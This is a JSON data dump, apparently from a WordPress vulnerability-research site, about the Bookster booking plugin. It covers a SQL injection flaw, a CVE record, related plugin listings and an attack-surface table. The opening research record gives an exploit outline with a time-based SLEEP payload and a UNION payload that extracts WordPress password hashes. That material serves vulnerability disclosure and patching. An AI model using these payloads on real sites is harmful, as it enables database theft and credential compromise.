sanitization or the use of prepared statements. Authenticated administrators can exploit this to execute arbitrary SQL commands and extract sensitive database information, including user credentials.","\u002F\u002F Inferred from research plan and vulnerability description\n\u002F\u002F Path likely: wp-content\u002Fplugins\u002Fbookster\u002Fincludes\u002Fadmin\u002Fclass-bookster-reports.php\n\n$filter = $_POST['raw'];\n$results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 \" . $filter);","--- a\u002Fincludes\u002Fadmin\u002Fclass-bookster-reports.php\n+++ b\u002Fincludes\u002Fadmin\u002Fclass-bookster-reports.php\n@@ -10,3 +10,2 @@\n-if (isset($_POST['raw'])) {\n-    $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 \" . $_POST['raw']);\n-}\n+\u002F\u002F Removed the 'raw' parameter which allowed arbitrary SQL concatenation.\n+\u002F\u002F Use specific, sanitized filters with wpdb->prepare().\n+$results = $wpdb->get_results($wpdb->prepare(\"SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 AND status = %s\", $_POST['status']));","1. Log in to the WordPress admin panel with Administrator-level privileges.\n2. Navigate to the Bookster plugin's reports or bookings page to find the AJAX action (e.g., 'bookster_get_stats' or similar).\n3. Extract the security nonce from the page source or localized JavaScript variables (e.g., 'bookster_admin.nonce').\n4. Submit a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' and a malicious SQL payload in the 'raw' parameter.\n5. Confirm the vulnerability using a time-based payload like ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)', which will cause the server to delay its response.\n6. Exfiltrate sensitive data (e.g., user hashes) using a UNION-based payload: ' AND 1=0 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -'.","gemini-3-flash-preview","2026-04-20 21:18:26","2026-04-20 21:20:11",{"id":62,"url_slug":63,"title":64,"description":65,"plugin_slug":4,"theme_slug":39,"affected_versions":66,"patched_in_version":67,"severity":42,"cvss_score":68,"cvss_vector":69,"vuln_type":70,"published_date":71,"updated_date":72,"references":73,"days_to_patch":75,"patch_diff_files":76,"patch_trac_url":39,"research_status":39,"research_verified":51,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":51,"poc_model_used":39,"poc_verification_depth":39},"CVE-2024-5071","bookster-wordpress-appointment-booking-plugin-unauthenticated-appointment-manipulation","Bookster – WordPress Appointment Booking Plugin \u003C= 1.1.0 - Unauthenticated Appointment Manipulation","The Bookster – WordPress Appointment Booking Plugin plugin for WordPress is vulnerable to unauthorized data manipulation in all versions up to, and including, 1.1.0. This is due to the plugin not properly validating the book_status parameter. This makes it possible for unauthenticated attackers to update their booking status to approved.","\u003C=1.1.0","1.2.0",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2024-06-05 00:00:00","2024-07-10 14:52:53",[74],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc3c8cc17-2bda-413f-95dc-18c7a883ccea?source=api-prod",36,[],{"slug":4,"display_name":7,"profile_url":8,"plugin_count":78,"total_installs":79,"avg_security_score":13,"avg_patch_time_days":80,"trust_score":81,"computed_at":82},6,260,19,94,"2026-05-20T01:26:15.876Z",[84,107,125,144,163],{"slug":85,"name":86,"version":87,"author":88,"author_profile":89,"description":90,"short_description":91,"active_installs":92,"downloaded":93,"rating":81,"num_ratings":94,"last_updated":95,"tested_up_to":16,"requires_at_least":96,"requires_php":18,"tags":97,"homepage":101,"download_link":102,"security_score":103,"vuln_count":104,"unpatched_count":105,"last_vuln_date":106,"fetched_at":31},"wappointment","Appointment Bookings for Zoom GoogleMeet and more – Wappointment","2.7.6","Wappointment team","https:\u002F\u002Fprofiles.wordpress.org\u002Fwappointment\u002F","\u003Cp>Get clients to quickly book a meeting with you by Zoom, GoogleMeet, phone or at your office\u003C\u002Fp>\n\u003Ch3>Booking plugin for WordPress\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Appointment booking calendar\u003C\u002Fstrong> for personal coaches, teachers, therapists and service professionals of all kind.\u003Cbr \u002F>\nGet booked 24\u002F7 with the most \u003Cstrong>intuitive booking form\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>Convert visitors into customers with a simple call to action.\u003C\u002Fp>\n\u003Cp>The perfect \u003Ca href=\"https:\u002F\u002Fwappointment.com\" rel=\"nofollow ugc\">Calendly alternative for WordPress\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FjUkiyejbuzg?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>Try the \u003Ca href=\"https:\u002F\u002Fdemo.wappointment.com\" rel=\"nofollow ugc\">demo of the booking calendar\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Scheduling system headache free\u003C\u002Fh3>\n\u003Ch4>Provide your appointments the way you like\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>as a video Meeting over Zoom, GoogleMeet, Jitsi or Skype\u003C\u002Fli>\n\u003Cli>over the Phone\u003C\u002Fli>\n\u003Cli>or at your office\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Sync bookings with Google Calendar\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Setup a 2-way sync quickly with Google Calendar\u003C\u002Fli>\n\u003Cli>1-way sync is available with any .ICS Calendar, Microsoft Outlook, Apple Ical, etc …\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Avoid Double Bookings\u003C\u002Fh4>\n\u003Cp>Keep your availability updated using our powerful centralized system.\u003Cbr \u002F>\nYour availability gets refreshed whenever something changes in your schedule:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>when a new client books you\u003C\u002Fli>\n\u003Cli>when a client cancels his appointment\u003C\u002Fli>\n\u003Cli>when you manually create new time slots during which you are busy or free \u003C\u002Fli>\n\u003Cli>when a new event gets created on your synched personal calendar (Google Calendar, Apple iCal, Outlook Calendar)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Simplify your Booking Process\u003C\u002Fh4>\n\u003Cp>Our \u003Cstrong>user friendly booking form\u003C\u002Fstrong> gives your clients a quick overview of your availability, making the booking process a breeze.\u003C\u002Fp>\n\u003Ch4>Reduce No-Shows\u003C\u002Fh4>\n\u003Cp>Your clients receive \u003Cstrong>appointment confirmations and reminders\u003C\u002Fstrong>.\u003Cbr \u002F>\nQuickly define when and how many of them do they receive (1 day before appointment, 1 hour before appointment).\u003C\u002Fp>\n\u003Ch3>Make it simple for your customers\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Clients book you within seconds, from their mobile phone, tablet or desktop computer\u003C\u002Fli>\n\u003Cli>The available booking slots are displayed in your client’s timezone, no more confusion for your international clients\u003C\u002Fli>\n\u003Cli>Clients receive a confirmation and as many reminders as you wish\u003C\u002Fli>\n\u003Cli>Clients can easily save your appointment to their personal calendar\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Manage your schedule simply\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Unlimited bookings\u003C\u002Fli>\n\u003Cli>User-friendly and intuitive interfaces with no coding involved\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Availability Setup\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Set your recurrent availability within seconds\u003C\u002Fli>\n\u003Cli>Set your punctual availability and block your non-bookable time (non working days and hours, busy times, holidays, etc) in just few clicks\u003C\u002Fli>\n\u003Cli>Select the timezone from which you operate\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Appointments Settings\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Set the duration of your meeting 5 min, 10 min, 15 min , 60 min etc …\u003C\u002Fli>\n\u003Cli>Set the appointments’ approval mode: automatic or manual \u003C\u002Fli>\n\u003Cli>Set how far in advance an appointment can be booked \u003C\u002Fli>\n\u003Cli>Allow clients to cancel and reschedule appointments\u003C\u002Fli>\n\u003Cli>Book an appointment on behalf of your customer\u003C\u002Fli>\n\u003Cli>Connect your personal calendar to the booking system and automatically block times during which you are busy\u003C\u002Fli>\n\u003Cli>Change the date and time format \u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Customizing the appearance\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Quickly customize colors and texts for your booking form \u003C\u002Fli>\n\u003Cli>4-steps booking process, each step is fully editable\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Appointments’ Confirmations Reminders and Notifications\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Receive email notifications when clients book, reschedule or cancel an appointment\u003C\u002Fli>\n\u003Cli>Receive daily and weekly notifications\u003C\u002Fli>\n\u003Cli>Customize and personalize your confirmations and reminders sent to your clients\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Advanced options for edge use-cases\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Limit\u002FMaximum active bookings per client\u003C\u002Fli>\n\u003Cli>Force user account’s email for logged in users\u003C\u002Fli>\n\u003Cli>Open new slots in new day at a specific time e.g.” new slots everyday at 11pm”\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Have a Question?\u003C\u002Fh4>\n\u003Cp>Our plugin is free, and easy to install. Try it first 🙂\u003Cbr \u002F>\nAnd for any question or doubt, you can reach us:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Straight from the plugin in \u003Cem>Wappointment > Help\u003C\u002Fem>\u003C\u002Fli>\n\u003Cli>Here on the \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fwappointment\u002F\" rel=\"ugc\">WordPress’ forum\u003C\u002Fa> \u003C\u002Fli>\n\u003Cli>From \u003Ca href=\"https:\u002F\u002Fwappointment.com\u002Fsupport?utm_source=wp-repo&utm_medium=link&utm_campaign=readme\" rel=\"nofollow ugc\">our contact page\u003C\u002Fa>.\u003C\u002Fli>\n\u003C\u002Ful>\n","Get clients to quickly book a meeting with you by Zoom, GoogleMeet, phone or at your office",2000,77324,50,"2026-03-22T08:48:00.000Z","5.5",[21,22,98,99,100],"booking-calendar","booking-form","zoom","https:\u002F\u002Fwappointment.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwappointment.2.7.6.zip",69,4,1,"2025-12-21 00:00:00",{"slug":108,"name":109,"version":110,"author":109,"author_profile":111,"description":112,"short_description":113,"active_installs":114,"downloaded":115,"rating":116,"num_ratings":28,"last_updated":117,"tested_up_to":16,"requires_at_least":118,"requires_php":18,"tags":119,"homepage":121,"download_link":122,"security_score":123,"vuln_count":105,"unpatched_count":29,"last_vuln_date":124,"fetched_at":31},"cal-com","Cal.com","2.1.0","https:\u002F\u002Fprofiles.wordpress.org\u002Fcalcom\u002F","\u003Cp>Cal.com is an open-source alternative to Calendly that allows easy appointment booking and meeting scheduling.\u003C\u002Fp>\n\u003Cp>This plugin enables you to:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Embed your Cal.com booking calendar inline, as a popup, or as a floating widget.\u003C\u002Fli>\n\u003Cli>Customize UI with theme colors, layout, and event details visibility.\u003C\u002Fli>\n\u003Cli>Pre-fill user information and add UTM tracking parameters.\u003C\u002Fli>\n\u003Cli>Use the new admin widget customizer for real-time previews.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fsimpma.com\u002Fplugins\u002Fcal-com\u002F\" rel=\"nofollow ugc\">Watch Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Shortcodes\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>[cal url=”\u002Fusername\u002Fmeetingid” type=1]\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Embed inline calendar.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>[cal url=”\u002Fusername\u002Fmeetingid” type=2 text=”Schedule a call”]\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Embed popup trigger button.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>[cal_custom url=”\u002Fdemo\u002F30min” type=1 prefill=”true” utm=”source:localhost” ui='{“theme”:”dark”,”cssVarsPerTheme”:{“dark”:{“cal-brand”:”#a3ffcb”}},”hideEventTypeDetails”:true,”layout”:”week_view”}’ config='{“layout”:”week_view”,”useSlotsViewOnSmallScreen”:true,”disableMobileScroll”:true}’]\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Embed customizable widget with full UI control, prefill, and UTM support.\u003C\u002Fp>\n\u003Ch3>Shortcode Attributes\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>url:\u003C\u002Fstrong> URL of the booking calendar.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>type:\u003C\u002Fstrong> Embed type (1 = inline, 2 = popup, 3 = floating button for \u003Ccode>[cal_custom]\u003C\u002Fcode>).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>text:\u003C\u002Fstrong> Button text for popup embeds.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>prefill:\u003C\u002Fstrong> Set to \u003Ccode>true\u003C\u002Fcode> to prefill user info if available.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>utm:\u003C\u002Fstrong> Comma-separated UTM tracking parameters (e.g., \u003Ccode>source:newsletter, medium:email\u003C\u002Fcode>).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>ui:\u003C\u002Fstrong> JSON object for theme, layout, and visibility customization.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>config:\u003C\u002Fstrong> JSON object for advanced widget configuration (slots view, scrolling, etc.).\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>CSS Customization\u003C\u002Fh3>\n\u003Cp>Customize popup\u002Fbutton text via CSS targeting \u003Cstrong>#calcom-embed-link\u003C\u002Fstrong>:\u003C\u002Fp>\n\u003Cpre>\u003Ccode>#calcom-embed-link, .calcom-embed-link {\n    background-color: #222222;\n    padding: 15px;\n    color: #fff;\n    font-size: 16px;\n    text-align: center;\n    cursor: pointer;\n}\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch3>Use of  3rd Party Software\u003C\u002Fh3>\n\u003Cp>This plugin relies on \u003Ca href=\"https:\u002F\u002Fcal.com\" rel=\"nofollow ugc\">Cal.com embed\u003C\u002Fa>. See their \u003Ca href=\"https:\u002F\u002Fcal.com\u002Fprivacy\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa> and \u003Ca href=\"https:\u002F\u002Fcal.com\u002Fterms\" rel=\"nofollow ugc\">Terms of use\u003C\u002Fa>.\u003C\u002Fp>\n","Embed Cal.com booking calendar in WordPress with custom UI and admin widget support.",1000,10412,60,"2026-04-06T18:52:00.000Z","4.6",[20,21,22,98,120],"calcom","","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcal-com.2.1.0.zip",99,"2025-03-31 00:00:00",{"slug":126,"name":127,"version":128,"author":129,"author_profile":130,"description":131,"short_description":132,"active_installs":133,"downloaded":134,"rating":135,"num_ratings":136,"last_updated":137,"tested_up_to":16,"requires_at_least":138,"requires_php":121,"tags":139,"homepage":141,"download_link":142,"security_score":13,"vuln_count":105,"unpatched_count":29,"last_vuln_date":143,"fetched_at":31},"ultimate-appointment-scheduling","Ultimate Appointment Booking & Scheduling","2.2.10","Rustaurius","https:\u002F\u002Fprofiles.wordpress.org\u002Frustaurius\u002F","\u003Cp>\u003Ca href='https:\u002F\u002Fwww.etoilewebdesign.com\u002Fultimate-appointment-scheduling-demo\u002F' rel=\"nofollow ugc\">Ultimate Appointment Scheduling Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>Appointment booking platform that lets your customers schedule appointments directly on your website with an easy-to-use calendar and booking form. Set up locations, services, and providers for those services, and let your clients start booking their appointment reservations online today!\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Includes Gutenberg block for displaying appointment booking forms!\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Ch4>Key Appointment Booking Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Create appointment locations with different opening hours\u003C\u002Fli>\n\u003Cli>Create appointment services that cost different amounts and take different amounts of time\u003C\u002Fli>\n\u003Cli>Dynamically updated booking calendar and appointment schedules, so it’s impossible to double book\u003C\u002Fli>\n\u003Cli>Optional multi-step booking form\u003C\u002Fli>\n\u003Cli>Set required information, such as name or phone number\u003C\u002Fli>\n\u003Cli>Set up automated reminder emails that will go out to your clients a certain number of days or hours before their appointments\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Great for businesses that need to set up one-on-one or one-to-many services, such as mechanics, medical professionals, event venues, exercise classes, corporate training sessions, etc. Also works to schedule meetings, for scheduling phone calls and for other situations in which a booking form and reservation system are required.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Appointment Booking Form\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Adding your booking form to a page is as simple as inserting the above shortcode. You can search for it by name or find it in the \u003Cstrong>Ultimate Appointment Scheduling\u003C\u002Fstrong> block section. With the block, you can also insert your booking form into any widget area in your theme. Ultimate appointment booking flexibility!\u003C\u002Fp>\n\u003Cpre>\u003Ccode>[ultimate-appointment-calendar]\n[ultimate-appointment-dropdown]\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>Alternatively, you can simply insert either of the appointment booking shortcodes above into any page to display a responsive booking form. The first will display a booking calendar, from which you can select and reserve an appointment time. The second will allow you choose a date and then display available appointment booking times that are available for you to book a reservation.\u003C\u002Fp>\n\u003Cp>Allow your visitors and customers to book reservations for a wide array of services and appointment types. With options to create an unlimited amount of unique appointment services, to specify multiple different appointment locations, and to create service providers and specify the services they do, the booking locations they work at and their hours, all with an easy-to-use reservation form on the front end, Ultimate Appointment Scheduling provides the most simple and effecting booking solution and reservation system that is perfect for both you the admin as well as your site visitors.\u003C\u002Fp>\n\u003Ch4>Email Notifications and Reminders\u003C\u002Fh4>\n\u003Cp>The plugin comes with a flexible array of email notification and reminder options. You can configure it to automatically send a notification to the admin and to the customer when a new booking is made.\u003C\u002Fp>\n\u003Cp>You can create an unlimited number of custom email messages, which you can assign to your different notifications.\u003C\u002Fp>\n\u003Cp>You can also create an unlimited number of reservations reminder notifications, which will allow you to send out emails to your customers at the exact time intervals you need, to help remind them of their upcoming appointments.\u003C\u002Fp>\n\u003Cp>Notification and email features include:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Send an automatic email to the admin when a new booking is made\u003C\u002Fli>\n\u003Cli>Send automatic emails to clients when a reservation is placed and an appointment is successfully created\u003C\u002Fli>\n\u003Cli>Create unique email messages that you can assign to your different notifications.\u003C\u002Fli>\n\u003Cli>Set up automated reminder emails that will go out to your clients a certain number of days or hours before their appointments\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Additional Appointment Reservation Features\u003C\u002Fh4>\n\u003Cp>Ultimate Appointment Scheduling comes with many more features that make it the most advanced and versatile booking form solution for accepting reservations on your WordPress site, including options to make your appointment services, locations and providers as specific or broad as you require, and a mobile booking form for the ultimate responsive reservation system.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Options to set a minimum and maximum number of days before an appointment that a reservation for a service can be booked\u003C\u002Fli>\n\u003Cli>Set the amount of time between appointments. This, combined with the duration set for a service, will decide when appointment reservations can made.\u003C\u002Fli>\n\u003Cli>Set the date format and hours format\u003C\u002Fli>\n\u003Cli>Set a calendar offset to specify how far ahead the default opening date of the calendar will be\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Premium Appointment Features\u003C\u002Fh4>\n\u003Cp>The premium version of Ultimate Appointment Scheduling comes with even more features, which will allow you to customize the form both to your exact needs and to your website. Some of the great premium features are:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Accept mandatory or optional payments for appointments either via PayPal or WooCommerce\u003C\u002Fli>\n\u003Cli>Add reCAPTACHA to your form, to help prevent spam\u003C\u002Fli>\n\u003Cli>Option to require login to WordPress before being able to create an appointment\u003C\u002Fli>\n\u003Cli>Additional booking form layout option\u003C\u002Fli>\n\u003Cli>Labelling options\u003C\u002Fli>\n\u003Cli>Customize the look of your form with an array of styling options to help you fit it in seamlessly with the rest of your site\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Shortcodes\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>[ultimate-appointment-calendar]: display a calendar that with available appointment times that users can click to select an appointment\u003C\u002Fli>\n\u003Cli>[ultimate-appointment-dropdown]: display a set of dropdown menus to find appointment times and schedule an appointment\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Translations\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>German (Thanks to \u003Ca href='https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fprofile\u002Fbkleine' rel=\"ugc\">bkleine\u003C\u002Fa>)\u003C\u002Fli>\n\u003C\u002Ful>\n","Appointment booking calendar and scheduling plugin that lets you set up different services, service providers, locations and availability",90,74255,82,20,"2025-12-02T19:42:00.000Z","3.9",[20,21,22,140,98],"appointments","http:\u002F\u002Fwww.EtoileWebDesign.com\u002Fplugins\u002Fultimate-appointment-scheduling\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fultimate-appointment-scheduling.2.2.10.zip","2020-08-10 00:00:00",{"slug":145,"name":146,"version":147,"author":148,"author_profile":149,"description":150,"short_description":151,"active_installs":152,"downloaded":153,"rating":13,"num_ratings":105,"last_updated":154,"tested_up_to":155,"requires_at_least":156,"requires_php":157,"tags":158,"homepage":159,"download_link":160,"security_score":161,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":162},"3veta","3veta Booking Page for WordPress","1.0.1","alordiel","https:\u002F\u002Fprofiles.wordpress.org\u002Falordiel\u002F","\u003Cp>“3veta Booking Page for WordPress” is an official plugin maintained by the \u003Ca href=\"https:\u002F\u002F3veta.com?utm_source=wordpress\" title=\"3veta site\" rel=\"nofollow ugc\">3veta\u003C\u002Fa> team. It allows you to embed your 3veta booking page to your WordPress website in a simple and easy way.\u003Cbr \u002F>\nThrough this plugin, visitors can schedule meetings directly on your WordPress website. In this way, you can have a fully white-label booking page!\u003C\u002Fp>\n\u003Ch3>FEATURES\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Embed your 3veta booking page directly in WordPress\u003C\u002Fli>\n\u003Cli>Choose between inline embed and full-page embed\u003C\u002Fli>\n\u003Cli>Get notified about upcoming bookings directly on your email\u003Cbr \u002F>\n“3veta Booking Page for WordPress” is an official 3veta plugin, and will be fully supported and maintained as long as is necessary.\u003C\u002Fli>\n\u003C\u002Ful>\n","3veta Booking Page for WordPress allows you to embed your 3veta booking page to your WordPress website in a simple and easy way.",10,1315,"2021-11-09T07:52:00.000Z","5.8.13","4.9","7.0",[20,21,22,23,98],"https:\u002F\u002Fwordpress.org\u002Fplugins\u002F3veta\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002F3veta.1.0.1.zip",85,"2026-04-06T09:54:40.288Z",{"slug":164,"name":165,"version":166,"author":167,"author_profile":168,"description":169,"short_description":170,"active_installs":152,"downloaded":171,"rating":172,"num_ratings":104,"last_updated":173,"tested_up_to":174,"requires_at_least":175,"requires_php":121,"tags":176,"homepage":121,"download_link":179,"security_score":161,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":162},"appointment-scheduling-and-booking-manager","Appointment scheduling and Booking Manager","1.0","parasagarwal","https:\u002F\u002Fprofiles.wordpress.org\u002Fparasagarwal\u002F","\u003Cp>Appointment scheduling and Booking Manager plugin for WordPress offers a self-service scheduling system for many-on-many appointments .\u003C\u002Fp>\n\u003Cp>Appointment scheduling and Booking Manager quickly integrates into any WordPress website, and eliminates the back and forth communications in appointments booking .\u003C\u002Fp>\n\u003Cp>Using “Appointment scheduling and Booking Manager ” plugin Every Buddypress Member of your site manage their Appointments.\u003Cbr \u002F>\nYou can manage the Appointments (availability) on an hourly\u002Fcustom time basis. \u003Cbr \u002F>\nscheduling calendar will be created automatically in the activity page of Every Buddypress Members\u003Cbr \u002F>\nEvery Buddypress Member can schedule or delete their Appointments by login to their account.The scheduling Part is fully Ajax-Featured.\u003Cbr \u002F>\nEvery Buddypress Member manage their paypal credentials .So the user who booked their paid schedule Appointments make payment directly to their account.\u003Cbr \u002F>\nYou can manage Email notification setting by Managing ‘smtp settings’ from admin Panel.\u003Cbr \u002F>\nEvery Buddypress Member have a Calender.Calender shown with diffrent colour with diffrent meanings . \u003Cbr \u002F>\n1.Red- All schedule Appointments are booked.\u003Cbr \u002F>\n2.Blue- Appointments are available.\u003Cbr \u002F>\n3.White-Appointments are available not available on this day.\u003C\u002Fp>\n\u003Cp>Your Customers will be able to:\u003C\u002Fp>\n\u003Ch4>KEY BENEFITS:\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\n\u003Cp>very easy to install and configure.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Very flexible functionality. Fit to very wide range of business.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>All Appointments and settings are stored in your DB. You don’t need third party account(s).\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Every Buddypress Member of your site schedule their own appointments\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Every Buddypress Member of your site set their payment credentials with paypal and manage their paid Appointments.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Every Buddypress Member calender is shown on their activity page with full description of their availability.Any other user may book the timeslot when member is available.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Built with jQuery, Ajax and other technologies.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Easy to install and integrate into your site. because necessary post or page will be automatically created and shortcodes will be automatically copied to page.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>FEATURES:\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\n\u003Cp>Schedule appointment and make bookings in friendly interface – fully ajax featured\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Every Buddypress Member manage their appointments and payments\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Email Notification via Smtp\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Paypal Pro integrated in the plugin which Makes payment without redirect user to paypal website.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>You can use this  Appointment scheduling and Booking Manager as:\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\n\u003Cp>Make a portal for  for the doctor, lawyer, therapist, gym instractor where doctor, lawyer, therapist, gym instractor manage their appointment indivisually.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Whatever you need!\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>This plugin is compatible and tested to WordPress Version: 4.6.1\u003C\u002Fp>\n","Offer self-service online appointment scheduling by BuddyPress Members, and get more appointments in less time.",4736,46,"2016-10-24T09:17:00.000Z","4.6.30","4.0",[21,22,98,177,178],"online-appointment-scheduling","online-booking","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fappointment-scheduling-and-booking-manager.zip",{"attackSurface":181,"codeSignals":391,"taintFlows":426,"riskAssessment":466,"analyzedAt":477},{"hooks":182,"ajaxHandlers":367,"restRoutes":375,"shortcodes":376,"cronEvents":389,"entryPointCount":390,"unprotectedCount":28},[183,189,191,194,196,198,201,206,209,213,218,221,224,229,232,235,240,244,247,250,252,253,256,257,260,264,267,270,273,276,279,281,283,285,286,290,294,297,301,303,306,308,311,314,318,322,324,327,331,335,340,345,348,352,355,358,362],{"type":184,"name":185,"callback":186,"file":187,"line":188},"action","admin_init","closure","bookster.php",30,{"type":184,"name":190,"callback":186,"file":187,"line":172},"init",{"type":184,"name":192,"callback":186,"file":187,"line":193},"admin_notices",79,{"type":184,"name":192,"callback":186,"file":187,"line":195},97,{"type":184,"name":185,"callback":186,"file":187,"line":197},113,{"type":184,"name":199,"callback":186,"file":187,"line":200},"plugins_loaded",123,{"type":184,"name":202,"callback":203,"file":204,"line":205},"wpmu_new_blog","activate_new_site","src\\Engine\\ActDeact.php",28,{"type":184,"name":185,"callback":207,"file":204,"line":208},"upgrade_procedure",29,{"type":210,"name":211,"callback":212,"file":204,"line":188},"filter","bookster_agent_capabilities","add_agent_setting_caps",{"type":210,"name":214,"callback":215,"priority":152,"file":216,"line":217},"display_post_states","add_display_post_states","src\\Engine\\Admin.php",21,{"type":184,"name":192,"callback":219,"file":220,"line":208},"render_notice","src\\Engine\\AdminNotice.php",{"type":184,"name":192,"callback":222,"file":220,"line":223},"render_scheduled_notice",34,{"type":184,"name":225,"callback":226,"pr